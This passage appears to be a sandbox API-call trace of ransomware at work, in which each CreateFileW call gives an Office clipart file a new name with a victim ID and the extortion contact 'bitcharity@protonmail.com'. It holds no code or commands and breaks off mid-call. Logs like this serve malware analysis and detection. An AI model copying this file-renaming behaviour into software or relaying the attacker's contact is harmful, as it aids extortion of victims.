[0245.697] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.697] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.697] CloseHandle (hObject=0x11d0) returned 1 [0245.698] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.698] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.698] CloseHandle (hObject=0x11d0) returned 1 [0245.700] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.700] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.700] CloseHandle (hObject=0x11d0) returned 1 [0245.701] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.701] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.701] CloseHandle (hObject=0x11d0) returned 1 [0245.702] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.702] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.702] CloseHandle (hObject=0x11d0) returned 1 [0245.703] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.703] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.703] CloseHandle (hObject=0x11d0) returned 1 [0245.704] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.704] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.704] CloseHandle (hObject=0x11d0) returned 1 [0245.705] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.705] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.706] CloseHandle (hObject=0x11d0) returned 1 [0245.706] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.706] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.707] CloseHandle (hObject=0x11d0) returned 1 [0245.707] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.708] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.708] CloseHandle (hObject=0x11d0) returned 1 [0245.708] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.709] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.709] CloseHandle (hObject=0x11d0) returned 1 [0245.710] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.710] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.711] CloseHandle (hObject=0x11d0) returned 1 [0245.712] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.712] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.712] CloseHandle (hObject=0x11d0) returned 1 [0245.713] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.713] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.713] CloseHandle (hObject=0x11d0) returned 1 [0245.714] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.714] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.714] CloseHandle (hObject=0x11d0) returned 1 [0245.715] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.715] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.715] CloseHandle (hObject=0x11d0) returned 1 [0245.716] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.716] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.716] CloseHandle (hObject=0x11d0) returned 1 [0245.718] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.718] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.718] CloseHandle (hObject=0x11d0) returned 1 [0245.719] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.719] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.719] CloseHandle (hObject=0x11d0) returned 1 [0245.720] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.721] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.721] CloseHandle (hObject=0x11d0) returned 1 [0245.722] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.722] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.722] CloseHandle (hObject=0x11d0) returned 1 [0245.723] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.723] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.723] CloseHandle (hObject=0x11d0) returned 1 [0245.973] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.973] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.973] CloseHandle (hObject=0x118c) returned 1 [0245.974] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.975] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.975] CloseHandle (hObject=0x118c) returned 1 [0245.977] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.977] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.977] CloseHandle (hObject=0x118c) returned 1 [0245.978] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.979] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.979] CloseHandle (hObject=0x118c) returned 1 [0245.980] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.980] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.981] CloseHandle (hObject=0x118c) returned 1 [0245.982] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.982] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.982] CloseHandle (hObject=0x118c) returned 1 [0245.983] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.983] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.984] CloseHandle (hObject=0x118c) returned 1 [0245.985] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.985] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.985] CloseHandle (hObject=0x118c) returned 1 [0245.986] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.986] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.987] CloseHandle (hObject=0x118c) returned 1 [0245.988] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.988] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.989] CloseHandle (hObject=0x118c) returned 1 [0245.990] SetFilePointerEx (in: 